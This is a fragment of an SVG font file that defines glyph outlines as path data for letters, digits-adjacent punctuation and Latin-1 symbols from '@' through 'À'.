<glyph unicode="@" horiz-adv-x="1837" d="M82 500q0 288 117 511t335.5 347.5t485.5 124.5q355 0 554.5 -174t199.5 -482q0 -170 -69.5 -314t-191 -225t-266.5 -81q-170 0 -219 129h-10q-48 -65 -111.5 -97t-156.5 -32q-117 0 -191 83.5t-74 221.5q0 156 74 294.5t196.5 211t276.5 72.5q155 0 336 -70l-100 -414 q-23 -94 -23 -137q0 -41 39 -41q64 0 116 48.5t81.5 138.5t29.5 206q0 213 -133.5 322.5t-382.5 109.5q-187 0 -336.5 -91.5t-232 -258t-82.5 -379.5q0 -145 55 -254t153.5 -168t223.5 -59q103 0 234 24.5t245 69.5v-225q-90 -43 -223.5 -70.5t-251.5 -27.5 q-209 0 -367.5 83.5t-244.5 240t-86 362.5zM764 532q0 -104 78 -104q61 0 99.5 51.5t74.5 188.5l47 190q-23 10 -51 10q-73 0 -128.5 -47.5t-87.5 -127t-32 -161.5z" />
<glyph unicode="A" horiz-adv-x="1384" d="M-121 0l744 1462h503l123 -1462h-381l-10 274h-448l-125 -274h-406zM553 586h293l-17 424l-2 86q0 75 4 131q-24 -86 -61 -166z" />
<glyph unicode="B" horiz-adv-x="1298" d="M33 0l309 1462h487q217 0 329 -82.5t112 -236.5q0 -288 -297 -377v-8q88 -29 140 -101.5t52 -177.5q0 -229 -152.5 -354t-432.5 -125h-547zM489 305h82q86 0 143.5 48.5t57.5 121.5q0 69 -33 103t-116 34h-68zM614 901h72q88 0 133 38t45 122q0 102 -127 102h-63z" />
<glyph unicode="C" horiz-adv-x="1290" d="M104 549q0 266 101.5 488t276 335t399.5 113q265 0 481 -131l-148 -305q-93 55 -171 82.5t-162 27.5q-108 0 -195 -78t-136.5 -215t-49.5 -297q0 -134 56 -200t161 -66q83 0 168 20.5t200 69.5v-323q-203 -90 -440 -90q-260 0 -400.5 148.5t-140.5 420.5z" />
<glyph unicode="D" horiz-adv-x="1401" d="M33 0l309 1462h416q276 0 427.5 -144.5t151.5 -408.5q0 -280 -99 -485.5t-287.5 -314.5t-446.5 -109h-471zM494 324h69q110 0 196.5 70t134.5 199.5t48 295.5q0 125 -54 189.5t-151 64.5h-71z" />
<glyph unicode="E" horiz-adv-x="1151" d="M33 0l309 1462h868l-65 -317h-477l-47 -230h444l-72 -317h-444l-57 -276h477l-68 -322h-868z" />
<glyph unicode="F" horiz-adv-x="1165" d="M33 0l309 1462h862l-67 -317h-471l-58 -279h436l-69 -319h-438l-113 -547h-391z" />
<glyph unicode="G" horiz-adv-x="1430" d="M104 563q0 267 110 482t301.5 327.5t445.5 112.5q266 0 448 -107l-147 -309q-153 90 -306 90q-132 0 -233.5 -72.5t-162 -214.5t-60.5 -303q0 -264 209 -264q63 0 133 14l51 232h-229l67 305h610l-167 -795q-250 -81 -521 -81q-261 0 -405 152t-144 431z" />
<glyph unicode="H" horiz-adv-x="1462" d="M33 0l309 1462h391l-112 -542h348l112 542h392l-310 -1462h-391l125 596h-346l-127 -596h-391z" />
<glyph unicode="I" horiz-adv-x="727" d="M31 0l309 1462h397l-309 -1462h-397z" />
<glyph unicode="J" horiz-adv-x="764" d="M-328 -113q99 -24 174 -24q107 0 162 59t84 195l289 1345h391l-299 -1394q-43 -200 -113 -312.5t-182.5 -164.5t-292.5 -52q-106 0 -213 29v319z" />
<glyph unicode="K" horiz-adv-x="1370" d="M33 0l309 1462h391l-135 -624l38 59q88 143 130 195l297 370h459l-551 -674l270 -788h-438l-174 578l-97 -56l-108 -522h-391z" />
<glyph unicode="L" horiz-adv-x="1079" d="M33 0l309 1462h391l-241 -1143h477l-68 -319h-868z" />
<glyph unicode="M" horiz-adv-x="1862" d="M33 0l309 1462h518v-1038h8l478 1038h526l-313 -1462h-351l117 549q50 228 108 436l15 64h-8l-482 -1049h-370v1049h-8q-67 -417 -86 -512l-113 -537h-348z" />
<glyph unicode="N" horiz-adv-x="1618" d="M33 0l309 1462h455l286 -983h9q29 236 57 371l131 612h348l-309 -1462h-455l-289 1028h-8q-29 -291 -57 -418l-129 -610h-348z" />
<glyph unicode="O" horiz-adv-x="1509" d="M104 543q0 265 103 487t280.5 338.5t409.5 116.5q260 0 404.5 -148.5t144.5 -414.5t-99.5 -486.5t-274.5 -338t-406 -117.5q-269 0 -415.5 149t-146.5 414zM500 545q0 -242 200 -242q95 0 176.5 83t128 224t46.5 308q0 114 -48 178.5t-139 64.5q-99 0 -182 -84 t-132.5 -231t-49.5 -301z" />
<glyph unicode="P" horiz-adv-x="1276" d="M33 0l309 1462h373q259 0 397.5 -113.5t138.5 -324.5q0 -252 -171.5 -395.5t-469.5 -143.5h-86l-100 -485h-391zM594 805h63q91 0 147 58.5t56 148.5q0 59 -36 95t-99 36h-59z" />
<glyph unicode="Q" horiz-adv-x="1509" d="M104 543q0 265 102.5 486t282 338.5t414.5 117.5q258 0 400.5 -149.5t142.5 -413.5q0 -280 -114 -509t-310 -339l238 -422h-439l-162 328h-12q-258 0 -400.5 149.5t-142.5 413.5zM500 539q0 -115 47.5 -172.5t134.5 -57.5q102 0 186.5 81t133.5 224.5t49 311.5 q0 114 -47 172.5t-134 58.5q-103 0 -188.5 -83t-133.5 -226t-48 -309z" />
<glyph unicode="R" horiz-adv-x="1331" d="M33 0l309 1462h387q252 0 386 -100t134 -301q0 -156 -71 -272t-211 -177l224 -516l40 -96h-426l-195 532h-73l-113 -532h-391zM600 829h51q95 0 151 54.5t56 152.5q0 62 -34.5 94.5t-100.5 32.5h-53z" />
<glyph unicode="S" horiz-adv-x="1122" d="M43 76v350q84 -53 192.5 -89t196.5 -36q74 0 112 31t38 88q0 27 -12 50.5t-34 47t-118 103.5q-117 94 -170 192t-53 215q0 131 65.5 235.5t185 162t267.5 57.5q239 0 430 -107l-135 -297q-171 88 -291 88q-64 0 -98.5 -28t-34.5 -82q0 -49 33.5 -91.5t127.5 -113.5 q118 -87 175 -183t57 -220q0 -222 -147 -345.5t-410 -123.5q-110 0 -208 24.5t-169 71.5z" />
<glyph unicode="T" horiz-adv-x="1130" d="M156 1139l69 323h1028l-71 -323h-318l-237 -1139h-391l237 1139h-317z" />
<glyph unicode="U" horiz-adv-x="1436" d="M125 410q0 64 12 129l199 923h391l-195 -913q-14 -68 -14 -115q0 -127 121 -127q94 0 147.5 64.5t81.5 197.5l191 893h391l-199 -932q-59 -281 -225 -415.5t-451 -134.5q-134 0 -236.5 55t-158 154t-55.5 221z" />
<glyph unicode="V" horiz-adv-x="1264" d="M150 1462h382l27 -801v-51q0 -144 -16 -256h8q14 64 44.5 157.5t55.5 145.5l350 805h414l-725 -1462h-436z" />
<glyph unicode="W" horiz-adv-x="1915" d="M152 1462h370l-10 -733q-6 -267 -25 -375l40 104l94 232l335 772h336v-792q0 -156 -26 -316q10 28 133 346l303 762h387l-635 -1462h-461v620q0 155 13 324q-33 -133 -118 -349l-253 -595h-434z" />
<glyph unicode="X" horiz-adv-x="1358" d="M-125 0l563 776l-223 686h416l123 -469l309 469h448l-538 -725l262 -737h-432l-146 498l-338 -498h-444z" />
<glyph unicode="Y" horiz-adv-x="1237" d="M164 1462h403l90 -542l312 542h436l-612 -895l-121 -567h-391l120 567z" />
<glyph unicode="Z" horiz-adv-x="1104" d="M-92 0l47 242l690 901h-479l67 319h986l-52 -245l-700 -898h543l-68 -319h-1034z" />
<glyph unicode="[" horiz-adv-x="737" d="M-53 -344l393 1847h530l-55 -254h-215l-285 -1339h215l-53 -254h-530zM182 -324zM491 1485z" />
<glyph unicode="\" horiz-adv-x="956" d="M221 1483h309l248 -1503h-319z" />
<glyph unicode="]" horiz-adv-x="737" d="M-133 -344l53 254h213l285 1339h-215l55 254h528l-393 -1847h-526zM65 -324zM533 1485z" />
<glyph unicode="^" horiz-adv-x="1096" d="M-6 502l631 960h172l284 -960h-274l-156 569l-360 -569h-297z" />
<glyph unicode="_" horiz-adv-x="922" d="M-184 -379l57 246h930l-58 -246h-929z" />
<glyph unicode="`" horiz-adv-x="1135" d="M485 1548v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
<glyph unicode="a" d="M84 412q0 179 73 365t184.5 281t246.5 95q84 0 148 -37.5t114 -122.5h8l53 140h310l-240 -1133h-309l10 123h-8q-56 -78 -121 -110.5t-147 -32.5q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192q0 65 -20 104.5t-62 39.5 q-76 0 -137.5 -126.5t-61.5 -281.5z" />
<glyph unicode="b" d="M23 0l329 1556h387l-49 -231q-38 -175 -90 -301h8q48 59 77.5 81.5t66.5 35t86 12.5q155 0 238 -111.5t83 -320.5q0 -178 -70.5 -362t-182.5 -281.5t-249 -97.5q-83 0 -145 32t-125 113h-8l-49 -125h-307zM485 434q0 -65 19 -104t59 -39q49 0 96 59t76 156t29 192 q0 144 -86 144q-50 0 -95 -57t-71.5 -154t-26.5 -197z" />
<glyph unicode="c" horiz-adv-x="1032" d="M84 442q0 201 76.5 364.5t215 255t314.5 91.5q195 0 367 -80l-123 -287q-133 60 -225 60q-62 0 -115 -48t-87 -143.5t-34 -187.5q0 -91 30 -133.5t95 -42.5q72 0 139.5 23t143.5 63v-307q-80 -44 -168.5 -67t-206.5 -23q-199 0 -310.5 120.5t-111.5 341.5z" />
<glyph unicode="d" horiz-adv-x="1237" d="M84 412q0 178 71.5 363t183.5 281.5t247 96.5q75 0 126 -30.5t111 -121.5h8l2 37q7 138 25 217l62 301h391l-330 -1556h-309l10 123h-8q-57 -79 -120 -111t-148 -32q-158 0 -240 111.5t-82 320.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192 q0 144 -80 144q-49 0 -96 -59t-76 -155.5t-29 -193.5z" />
<glyph unicode="e" horiz-adv-x="1186" d="M84 428q0 211 83.5 380.5t229 257t336.5 87.5q190 0 299 -86t109 -229q0 -201 -156.5 -308.5t-452.5 -107.5h-59v-16q0 -148 164 -148q79 0 155 23.5t173 74.5v-274q-112 -57 -209 -79.5t-224 -22.5q-212 0 -330 118.5t-118 329.5zM512 664h29q109 0 171 41.5t62 109.5 q0 32 -20 54t-64 22q-61 0 -114 -69.5t-64 -157.5z" />
<glyph unicode="f" horiz-adv-x="840" d="M-209 -162q63 -18 117 -18q74 0 112 30t52 95l190 897h-166l43 190l189 96l16 74q43 192 146.5 278.5t275.5 86.5q80 0 155 -16t128 -42l-99 -264q-64 31 -129 31q-35 0 -59.5 -18.5t-32.5 -53.5l-16 -71h211l-66 -291h-209l-205 -959q-43 -192 -153.5 -283.5 t-292.5 -91.5q-110 0 -207 27v303z" />
<glyph unicode="g" horiz-adv-x="1145" d="M-133 -207q0 98 68 169t212 118q-37 23 -60.5 60t-23.5 79q0 71 51 126t152 101q-131 103 -131 281q0 196 136 311t368 115q51 0 107.5 -6t89.5 -14h399l-41 -207l-160 -52q10 -40 10 -94q0 -191 -130 -308.5t-339 -117.5q-76 0 -124 13q-20 -11 -34 -22t-14 -30 q0 -43 111 -59l137 -18q174 -25 250 -91.5t76 -189.5q0 -215 -168.5 -332t-478.5 -117q-212 0 -337.5 75.5t-125.5 209.5zM197 -152q0 -86 170 -86q125 0 190.5 29t65.5 82q0 36 -33 54.5t-115 27.5l-115 12q-78 -11 -120.5 -41.5t-42.5 -77.5zM500 692q0 -94 67 -94 q52 0 85.5 68.5t33.5 158.5q0 95 -61 95q-38 0 -66 -33.5t-43.5 -87.5t-15.5 -107z" />
<glyph unicode="h" horiz-adv-x="1274" d="M23 0l329 1556h387l-53 -249q-35 -158 -88 -283h8q101 129 273 129q141 0 220 -85.5t79 -236.5q0 -106 -25 -229l-127 -602h-387l129 618q18 78 18 142q0 43 -22 64.5t-53 21.5q-125 0 -185 -293l-116 -553h-387z" />
<glyph unicode="i" horiz-adv-x="666" d="M23 0l239 1133h389l-241 -1133h-387zM309 1382q0 103 59.5 156t166.5 53q91 0 140.5 -36.5t49.5 -104.5q0 -100 -58 -154.5t-167 -54.5q-191 0 -191 141z" />
<glyph unicode="j" horiz-adv-x="666" d="M-264 -162q56 -18 112 -18q142 0 175 147l247 1166h387l-260 -1227q-40 -193 -157 -295.5t-297 -102.5q-110 0 -207 27v303zM317 1382q0 103 59.5 156t166.5 53q91 0 140.5 -36.5t49.5 -104.5q0 -94 -55 -151.5t-170 -57.5q-191 0 -191 141z" />
<glyph unicode="k" horiz-adv-x="1264" d="M23 0l325 1556h387l-139 -663q-17 -77 -68 -223h9q84 127 153 200l242 263h442l-491 -512l274 -621h-438l-139 391l-101 -53l-69 -338h-387z" />
<glyph unicode="l" horiz-adv-x="666" d="M23 0l329 1556h387l-329 -1556h-387z" />
<glyph unicode="m" horiz-adv-x="1896" d="M23 0l239 1133h309l-16 -187h8q61 114 137 160.5t191 46.5q117 0 180.5 -53.5t89.5 -153.5h8q65 106 149 156.5t195 50.5q141 0 214 -84.5t73 -249.5q0 -97 -22 -205l-125 -614h-387l129 631q14 56 14 133q0 40 -19 61t-51 21q-74 0 -119.5 -76t-76.5 -227l-111 -543 h-387l131 631q15 90 15 121q0 94 -72 94q-68 0 -113.5 -74.5t-77.5 -220.5l-118 -551h-387z" />
<glyph unicode="n" horiz-adv-x="1274" d="M23 0l239 1133h309l-12 -158h8q55 95 129.5 136.5t182.5 41.5q141 0 220 -85.5t79 -236.5q0 -106 -25 -229l-127 -602h-387l129 618q18 78 18 142q0 43 -22 64.5t-53 21.5q-57 0 -105.5 -71t-79.5 -222l-116 -553h-387z" />
<glyph unicode="o" d="M84 416q0 210 79.5 379.5t223.5 263.5t336 94q209 0 322.5 -113t113.5 -323t-79.5 -379.5t-223.5 -263.5t-336 -94q-209 0 -322.5 113t-113.5 323zM479 403q0 -133 84 -133q81 0 141 139t60 320q0 66 -23 99.5t-63 33.5q-82 0 -140.5 -139.5t-58.5 -319.5z" />
<glyph unicode="p" d="M-82 -492l344 1625h309l-12 -127h8q96 147 258 147q156 0 245 -111.5t89 -306.5q0 -203 -70 -382.5t-185.5 -276t-252.5 -96.5q-143 0 -231 145h-8q-12 -166 -56 -371l-51 -246h-387zM485 434q0 -65 23 -104t65 -39q48 0 92 57t71.5 153t27.5 197q0 144 -86 144 q-50 0 -95 -57t-71.5 -154t-26.5 -197z" />
<glyph unicode="q" d="M84 408q0 181 71.5 366.5t183 282t247.5 96.5q89 0 145.5 -33t118.5 -127h8l53 140h310l-344 -1625h-392l68 293q25 116 90 310h-8q-55 -74 -114 -102.5t-134 -28.5q-89 0 -158 50.5t-107 148t-38 229.5zM479 434q0 -143 86 -143q50 0 95.5 58.5t72.5 156.5t27 192 q0 144 -80 144q-49 0 -96 -59t-76 -155.5t-29 -193.5z" />
<glyph unicode="r" horiz-adv-x="895" d="M23 0l239 1133h309l-18 -189h8q65 112 141 160.5t199 48.5q56 0 80 -8l-84 -383q-54 22 -123 22q-103 0 -164.5 -70.5t-93.5 -215.5l-106 -498h-387z" />
<glyph unicode="s" horiz-adv-x="1028" d="M31 43v311q92 -50 171 -70t160 -20q68 0 102 18.5t34 51.5q0 35 -26 60.5t-130 84.5q-106 58 -154.5 133t-48.5 183q0 172 121 265t344 93q112 0 204 -26t179 -80l-121 -252q-66 43 -136.5 68.5t-121.5 25.5q-76 0 -76 -68q0 -29 31.5 -51t102.5 -57q225 -112 225 -320 q0 -199 -130 -306t-374 -107q-222 0 -356 63z" />
<glyph unicode="t" horiz-adv-x="936" d="M63 842l41 190l218 88l137 240h258l-49 -227h288l-63 -291h-289l-84 -383q-16 -77 -16 -105q0 -63 63 -63q66 0 183 47v-291q-136 -67 -340 -67q-148 0 -224.5 63.5t-76.5 208.5q0 76 24 188l84 402h-154z" />
<glyph unicode="u" horiz-adv-x="1274" d="M96 301q0 106 25 229l127 603h387l-129 -617q-19 -82 -19 -141q0 -44 22.5 -65t53.5 -21q59 0 107.5 78.5t77.5 214.5l116 551h387l-239 -1133h-310l13 158h-8q-54 -93 -128.5 -135.5t-183.5 -42.5q-141 0 -220 85.5t-79 235.5z" />
<glyph unicode="v" horiz-adv-x="1114" d="M88 1133h385l27 -603q0 -73 -8 -118h8q1 14 18 63t36 90t265 568h414l-612 -1133h-388z" />
<glyph unicode="w" horiz-adv-x="1686" d="M102 1133h365v-512q0 -182 -8 -259h8q46 177 88 295l172 476h428l-20 -476q-9 -129 -33 -295h8q7 22 15.5 47.5t48.5 140t241 583.5h385l-538 -1133h-422l20 449q2 73 11.5 209t21.5 219h-8q-60 -233 -121 -390l-189 -487h-407z" />
<glyph unicode="x" horiz-adv-x="1159" d="M-119 0l473 578l-207 555h422l76 -314l186 314h459l-465 -576l228 -557h-428l-80 328l-211 -328h-453z" />
<glyph unicode="y" horiz-adv-x="1114" d="M-129 -168q46 -12 109 -12q87 0 142.5 36.5t98.5 114.5l23 41l-162 1121h389l43 -562l2 -62v-87h8q37 132 50 165.5t239 545.5h416l-670 -1276q-96 -185 -223 -267t-311 -82q-92 0 -154 17v307z" />
<glyph unicode="z" horiz-adv-x="993" d="M-41 0l43 221l502 613h-348l67 299h811l-53 -242l-496 -592h383l-65 -299h-844z" />
<glyph unicode="{" horiz-adv-x="735" d="M-16 434l53 287q119 0 175 38.5t77 133.5l55 246q28 124 76.5 190t130 99.5t203.5 33.5h129l-62 -280q-81 -2 -120 -29.5t-56 -99.5l-53 -258q-20 -96 -85.5 -151.5t-193.5 -70.5v-8q90 -29 130 -87t40 -146q0 -17 -10 -74l-35 -164q-6 -30 -6 -49q0 -88 113 -88v-281 h-82q-183 0 -272 68.5t-89 208.5q0 63 15 127l37 174q6 24 6 43q0 75 -42 106t-134 31z" />
<glyph unicode="|" horiz-adv-x="1159" d="M442 -465v2013h271v-2013h-271z" />
<glyph unicode="}" horiz-adv-x="735" d="M-123 -43q73 3 109 13.5t54 33.5t30 82l53 258q21 99 88 154t190 67v8q-170 55 -170 234q0 12 11 74l34 163q7 29 7 50q0 88 -136 88l54 280h61q168 0 259 -70.5t91 -203.5q0 -69 -14 -129l-37 -174q-6 -26 -6 -43q0 -66 44.5 -100.5t148.5 -34.5l-58 -287 q-121 0 -182.5 -40.5t-81.5 -133.5l-55 -246q-37 -171 -137.5 -247.5t-282.5 -76.5h-74v281z" />
<glyph unicode="~" horiz-adv-x="1159" d="M96 524v285q107 109 262 109q61 0 110.5 -11.5t152.5 -52.5q67 -28 114 -41.5t99 -13.5q51 0 115.5 32t121.5 89v-285q-107 -109 -262 -109q-62 0 -113.5 12.5t-148.5 51.5q-75 31 -118.5 43t-92.5 12q-52 0 -114.5 -30t-125.5 -91z" />
<glyph unicode="&#xa1;" horiz-adv-x="623" d="M-109 -338l254 946h328l-156 -946h-426zM107 -324zM162 924q0 109 64 169t173 60q89 0 138 -39.5t49 -112.5q0 -107 -65 -170t-179 -63q-87 0 -133.5 40.5t-46.5 115.5z" />
<glyph unicode="&#xa2;" horiz-adv-x="1188" d="M154 586q0 306 140.5 510t371.5 239l32 148h230l-33 -150q122 -19 231 -76l-122 -286q-79 37 -128 48t-98 11q-63 0 -115 -49.5t-84 -146.5t-32 -207q0 -79 31 -113.5t90 -34.5q72 0 140 25t142 65v-311q-145 -78 -307 -90l-41 -188h-229l51 208q-270 74 -270 398z" />
<glyph unicode="&#xa3;" horiz-adv-x="1188" d="M-18 0l63 313q76 21 120.5 49t69 69.5t41.5 123.5l21 96h-188l57 279h188l23 129q26 149 85 243t150.5 137.5t237.5 43.5q89 0 177 -19t196 -67l-144 -299q-66 31 -114 47t-99 16q-35 0 -56.5 -24.5t-35.5 -92.5l-24 -114h251l-57 -279h-252l-20 -94 q-16 -74 -69.5 -133.5t-133.5 -93.5h604l-72 -330h-1019z" />
<glyph unicode="&#xa4;" horiz-adv-x="1188" d="M106 1032l185 185l127 -125q96 43 182 43q96 0 184 -48l125 130l189 -179l-129 -129q43 -82 43 -186q0 -94 -43 -186l123 -123l-183 -183l-125 123q-96 -41 -184 -41q-108 0 -186 39l-123 -119l-182 183l127 123q-46 90 -46 184q0 92 46 184zM451 723q0 -64 43 -108 t106 -44q65 0 110.5 44.5t45.5 107.5q0 61 -44.5 106t-111.5 45q-64 0 -106.5 -44t-42.5 -107z" />
<glyph unicode="&#xa5;" horiz-adv-x="1188" d="M76 190l43 205h227l25 129h-226l45 205h179l-187 733h385l72 -487l293 487h393l-489 -733h184l-45 -205h-223l-27 -129h223l-43 -205h-223l-41 -190h-379l41 190h-227z" />
<glyph unicode="&#xa6;" horiz-adv-x="1159" d="M444 395h271v-839h-271v839zM444 705v841h271v-841h-271z" />
<glyph unicode="&#xa7;" horiz-adv-x="1036" d="M37 70v249q85 -52 173 -86t185 -34q69 0 109.5 28.5t40.5 75.5q0 38 -31 70.5t-104 72.5q-130 71 -191 152t-61 178q0 84 46 156t132 125q-38 38 -59 89.5t-21 102.5q0 160 116 244t339 84q184 0 360 -102l-100 -224q-91 58 -159.5 79.5t-133.5 21.5q-60 0 -85.5 -22.5 t-25.5 -51.5q0 -33 14 -53.5t46.5 -43t89.5 -48.5q244 -113 244 -312q0 -99 -38 -171t-130 -124q32 -38 50.5 -90.5t18.5 -109.5q0 -170 -127 -260.5t-358 -90.5q-110 0 -197 25.5t-143 69.5zM442 817q0 -43 37 -84t125 -90q74 51 74 127q0 54 -36.5 95t-117.5 75 q-37 -19 -59.5 -54t-22.5 -69z" />
<glyph unicode="&#xa8;" horiz-adv-x="1135" d="M336 1384q0 187 201 187q170 0 170 -125q0 -189 -201 -189q-88 0 -129 31t-41 96zM823 1384q0 187 201 187q168 0 168 -125q0 -97 -49.5 -143t-149.5 -46q-88 0 -129 31t-41 96z" />
<glyph unicode="&#xa9;" horiz-adv-x="1688" d="M113 731q0 202 101.5 378t275.5 275t374 99t375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-206 0 -380 102.5t-272.5 276.5t-98.5 372zM276 731q0 -158 78.5 -294t215 -215t294.5 -79q157 0 293 77.5t215.5 214t79.5 296.5q0 158 -78.5 294.5 t-215 215t-294.5 78.5t-295.5 -79.5t-215 -215.5t-77.5 -293zM461 735q0 220 113.5 341.5t320.5 121.5q166 0 332 -82l-92 -205q-114 60 -222 60q-80 0 -126 -61t-46 -179q0 -128 44 -185t135 -57q138 0 258 68v-231q-126 -64 -273 -64q-213 0 -328.5 125t-115.5 348z" />
<glyph unicode="&#xaa;" horiz-adv-x="827" d="M139 1001q0 120 45 232t123 177t176 65q64 0 111.5 -20t101.5 -79h9l36 86h199l-170 -721h-195l9 86h-9q-89 -98 -223 -98q-60 0 -108 31.5t-76.5 91.5t-28.5 149zM412 1012q0 -48 19 -74.5t50 -26.5q46 0 79 38.5t51 100t18 128.5q0 53 -19.5 83.5t-52.5 30.5 q-39 0 -72.5 -40.5t-53 -107.5t-19.5 -132z" />
<glyph unicode="&#xab;" horiz-adv-x="1276" d="M61 553v10l408 518l264 -204l-266 -334l111 -330l-334 -137zM608 582v10l424 495l260 -210l-278 -306l123 -358l-334 -137z" />
<glyph unicode="&#xac;" horiz-adv-x="1159" d="M82 586v272h975v-620h-271v348h-704z" />
<glyph unicode="&#xad;" horiz-adv-x="674" d="M23 393l63 312h553l-64 -312h-552z" />
<glyph unicode="&#xae;" horiz-adv-x="1688" d="M113 731q0 202 101.5 378t275.5 275t374 99t375 -100t276 -275t101 -377q0 -197 -97 -370t-272 -277t-383 -104q-206 0 -380 102.5t-272.5 276.5t-98.5 372zM276 731q0 -158 78.5 -294t215 -215t294.5 -79q157 0 293 77.5t215.5 214t79.5 296.5q0 158 -78.5 294.5 t-215 215t-294.5 78.5t-295.5 -79.5t-215 -215.5t-77.5 -293zM535 313v875h290q214 0 317 -70.5t103 -199.5q0 -91 -44.5 -153t-139.5 -97l211 -355h-285l-160 320h-12v-320h-280zM815 809h10q78 0 108 22t30 76t-35.5 70t-104.5 16h-8v-184z" />
<glyph unicode="&#xaf;" horiz-adv-x="922" d="M183 1554l57 246h930l-58 -246h-929z" />
<glyph unicode="&#xb0;" horiz-adv-x="864" d="M166 1114q0 97 49 182.5t135 136t185 50.5q98 0 184 -50t135 -136.5t49 -182.5q0 -98 -49.5 -183t-135.5 -133t-183 -48q-99 0 -185 49t-135 133t-49 182zM403 1114q0 -51 39.5 -89t92.5 -38q52 0 91.5 38t39.5 89q0 53 -38.5 93t-92.5 40q-55 0 -93.5 -39.5t-38.5 -93.5 z" />
<glyph unicode="&#xb1;" horiz-adv-x="1159" d="M102 0v270h975v-270h-975zM102 694v271h353v352h270v-352h352v-271h-352v-350h-270v350h-353z" />
<glyph unicode="&#xb2;" horiz-adv-x="848" d="M23 584l43 204l276 211q108 83 144 124t36 75q0 51 -63 51q-35 0 -85 -18t-104 -62l-118 191q84 65 172.5 94t216.5 29q134 0 218.5 -61t84.5 -156q0 -70 -31.5 -129.5t-102 -121t-251.5 -175.5h319l-51 -256h-704z" />
<glyph unicode="&#xb3;" horiz-adv-x="848" d="M66 639v225q63 -43 131.5 -62.5t124.5 -19.5q151 0 151 80q0 68 -113 68h-120l43 194h96q71 0 114.5 21.5t43.5 66.5q0 28 -22 43t-54 15q-79 0 -185 -66l-100 182q83 52 161 73.5t181 21.5q137 0 220 -57t83 -152q0 -91 -55.5 -146t-175.5 -84v-8q92 -23 129 -69.5 t37 -112.5q0 -127 -104 -205t-275 -78q-106 0 -177.5 16t-133.5 54z" />
<glyph unicode="&#xb4;" horiz-adv-x="1135" d="M453 1241v23q123 102 282 305h439v-15q-45 -54 -191.5 -157t-245.5 -156h-284z" />
<glyph unicode="&#xb5;" horiz-adv-x="1288" d="M-82 -492l344 1625h387l-129 -617q-18 -78 -18 -141q0 -44 22.5 -65t53.5 -21q52 0 82.5 26t53.5 87t48 180l117 551h387l-240 -1133h-289l6 123h-8q-68 -143 -190 -143q-102 0 -131 77h-8q-10 -134 -48 -303l-53 -246h-387z" />
<glyph unicode="&#xb6;" horiz-adv-x="1317" d="M102 1042q0 256 107.5 385t343.5 129h633v-1816h-191v1587h-157v-1587h-191v819q-54 -18 -125 -18q-216 0 -318 125t-102 376z" />
<glyph unicode="&#xb7;" horiz-adv-x="627" d="M115 684q0 106 65 168.5t178 62.5q82 0 131.5 -40.5t49.5 -114.5q0 -117 -65.5 -173.5t-178.5 -56.5q-86 0 -133 40t-47 114z" />
<glyph unicode="&#xb8;" horiz-adv-x="383" d="M-221 -258q30 -9 78.5 -18t72.5 -9q68 0 68 49q0 73 -145 101l75 135h205l-24 -41q178 -37 178 -195q0 -121 -82.5 -188.5t-233.5 -67.5q-115 0 -192 29v205z" />
<glyph unicode="&#xb9;" horiz-adv-x="848" d="M115 1202l426 260h252l-187 -878h-317l82 364q21 102 55 207l-74 -59l-119 -78z" />
<glyph unicode="&#xba;" horiz-adv-x="817" d="M139 1004q0 213 116.5 344t317.5 131q143 0 222 -79t79 -218q0 -134 -51 -237t-149.5 -160.5t-231.5 -57.5q-144 0 -223.5 75.5t-79.5 201.5zM412 1016q0 -84 55 -84q59 0 97 70.5t38 179.5q0 45 -11.5 68.5t-43.5 23.5q-60 0 -97.5 -73t-37.5 -185z" />
<glyph unicode="&#xbb;" horiz-adv-x="1276" d="M-14 248l276 305l-121 358l332 138l195 -506v-11l-424 -497zM543 248l266 334l-111 329l334 138l182 -478v-10l-407 -518z" />
<glyph unicode="&#xbc;" horiz-adv-x="1991" d="M921 122l31 178l490 577h325l-119 -557h113l-41 -198h-113l-26 -123h-289l27 123h-398zM1198 320h162q62 239 73 274t15 44q-13 -18 -35 -48.5t-215 -269.5zM195 0l1089 1462h291l-1083 -1462h-297zM79 1202l426 260h252l-187 -878h-317l82 364q21 102 55 207l-74 -59 l-119 -78z" />
<glyph unicode="&#xbd;" horiz-adv-x="1991" d="M1002 -1l43 204l276 211q108 83 144 124t36 75q0 51 -63 51q-35 0 -85 -18t-104 -62l-118 191q84 65 172.5 94t216.5 29q134 0 218.5 -61t84.5 -156q0 -70 -31.5 -129.5t-102 -121t-251.5 -175.5h319l-51 -256h-704zM104 1202l426 260h252l-187 -878h-317l82 364 q21 102 55 207l-74 -59l-119 -78zM219 0l1089 1462h291l-1083 -1462h-297z" />
<glyph unicode="&#xbe;" horiz-adv-x="1991" d="M968 122l31 178l490 577h325l-119 -557h113l-41 -198h-113l-26 -123h-289l27 123h-398zM1245 320h162q62 239 73 274t15 44q-13 -18 -35 -48.5t-215 -269.5zM195 639v225q63 -43 131.5 -62.5t124.5 -19.5q151 0 151 80q0 68 -113 68h-120l43 194h96q71 0 114.5 21.5 t43.5 66.5q0 28 -22 43t-54 15q-79 0 -185 -66l-100 182q83 52 161 73.5t181 21.5q137 0 220 -57t83 -152q0 -91 -55.5 -146t-175.5 -84v-8q92 -23 129 -69.5t37 -112.5q0 -127 -104 -205t-275 -78q-106 0 -177.5 16t-133.5 54zM363 0l1089 1462h291l-1083 -1462h-297z" />
<glyph unicode="&#xbf;" horiz-adv-x="999" d="M-84 -16q0 89 27.5 155.5t77.5 119t172 126.5q100 60 142.5 101t55.5 83l15 43h315l-12 -63q-15 -82 -43 -140t-72.5 -104.5t-138.5 -107.5q-89 -58 -125.5 -95t-36.5 -77q0 -37 22.5 -53.5t67.5 -16.5q124 0 313 108l119 -282q-227 -135 -461 -135q-201 0 -319.5 90 t-118.5 248zM285 -324zM377 924q0 109 64 169t173 60q89 0 138 -39.5t49 -112.5q0 -107 -65 -170t-179 -63q-87 0 -133.5 40.5t-46.5 115.5z" />
<glyph unicode="&#xc0;" horiz-adv-x="1384" d="M-121 0l744 1462h503l123 -1462h-381l-10 274h-448l-125 -274h-406zM553 586h293l-17 424l-2 86q0 75 4 131q-24 -86 -61 -166zM551 1886v21h396q29 -157 94 -303v-25h-236q-82 75 -152 159t-102 148z" />
